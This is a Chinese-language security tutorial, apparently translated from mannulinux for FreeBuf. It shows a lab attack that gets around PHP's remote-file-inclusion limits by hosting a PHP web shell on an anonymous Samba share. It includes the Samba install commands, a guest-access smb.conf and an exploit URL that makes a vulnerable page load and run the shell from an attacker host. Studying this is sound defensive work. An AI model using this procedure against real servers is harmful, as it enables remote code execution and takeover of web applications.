*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。
这篇文章中,我们将演示如何利用PHP应用程序中的远程文件包含(RFI)漏洞来实现“文件包含攻击”。在这种技术的帮助下,即使目标应用的PHP环境不支持从远程HTTP/FTP URL获取文件,我们也能够绕过这种远程URL包含限制,并执行RFI攻击。
在PHP配置文件中,“allow_url_include”这个参数选项默认会被设置为“Off”,这个配置可以让PHP应用禁止加载远程HTTP或FTP URL,并以此来防止远程文件包含攻击。但是,即使”allow_url_include”和”allow_url_fopen”被设置为了“Off”,PHP仍然不会屏蔽SMB URL加载内容。在这种情况下,攻击者就可以利用PHP的这种行为来从SMB共享中远程加载托管的PHP Web Shell。
当存在漏洞的PHP应用程序代码尝试从攻击者控制的SMB共享加载PHP Web Shell时,SMB共享将允许文件访问请求。攻击者需要配置SMB服务器,并开启匿名浏览访问功能。因此,当存在漏洞的应用程序尝试从SMB共享访问PHP Web Shell时,SMB服务器不会要求输入任何凭证,PHP Web Shell代码将会直接传递到存在漏洞的PHP应用程序中。
首先,我们需要重新配置PHP环境,并在php.ini文件中禁用”allow_url_fopen”和”allow_url_include”。接下来,开启SMB服务器的匿名读取访问功能。配置好SMB共享之后,我们就可以开始测试了。
目标设备中运行了存在漏洞的PHP应用程序,并且已经将”allow_url_fopen”和”allow_url_include”设置成了”Off”,下图显示的是当前PHP应用程序的配置信息,PHP版本为5.5.11:
在进行下一步之前,我们需要确保在尝试通过HTTP访问Web Shell之前,PHP代码不允许远程文件包含操作。
此时,当我们尝试从远程主机获取PHP Web Shell时,应用程序应该会抛出一个错误,并禁止RFI操作。
使用下列命令安装SAMBA服务器:
apt-get install samba
创建一个SMB共享目录(/var/www/html/pub/):
mkdir /var/www/html/pub/
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/
运行下列代码,移除SAMBA服务器配置文件中的默认内容:
echo > /etc/samba/smb.conf
将下列内容写入’/etc/samba/smb.conf’文件中:
[global]
workgroup= WORKGROUP
serverstring = Samba Server %v
netbiosname = indishell-lab
security= user
mapto guest = bad user
nameresolve order = bcast host
dnsproxy = no
bindinterfaces only = yes
[ica]
path= /var/www/html/pub
writable= no
guestok = yes
guestonly = yes
readonly = yes
directorymode = 0555
forceuser = nobody
现在,重启SAMBA服务器让配置文件‘/etc/samba/smb.conf’中的新配置生效:
service smbd restart
当SAMBA服务器成功重启后,会尝试访问SMB共享目录,确保SAMBA服务器不会要求提供任何账户凭证。在我的测试环境中,SAMBA服务器IP为192.168.0.3。我需要在Windows资源管理器中访问SMB共享目录:
\\192.168.0.3\
现在,SMB共享可以直接访问了,并且创建了“ica”这个目录。我们的PHP Web Shell托管在主机目录’/var/www/html/pub’中,也就是SMB共享目录“ica”:
接下来,在Windows资源管理器中访问SMB共享目录“ica”:
\\192.168.0.3\ica\
我们可以在SMB共享目录中看到PHP Shell,我这里命名的是box.php:
接下来,我们可以使用PHP Shell的SMB链接,并使用存在漏洞的PHP代码来浏览Shell内容了:
http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.php
非常好,存在漏洞的PHP代码成功从远程SMB共享目录中获取到了的PHP Web Shell,并在应用程序服务器上执行了代码。此时,我们已经成功绕过了目标主机的远程文件包含限制。
*参考来源:mannulinux,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM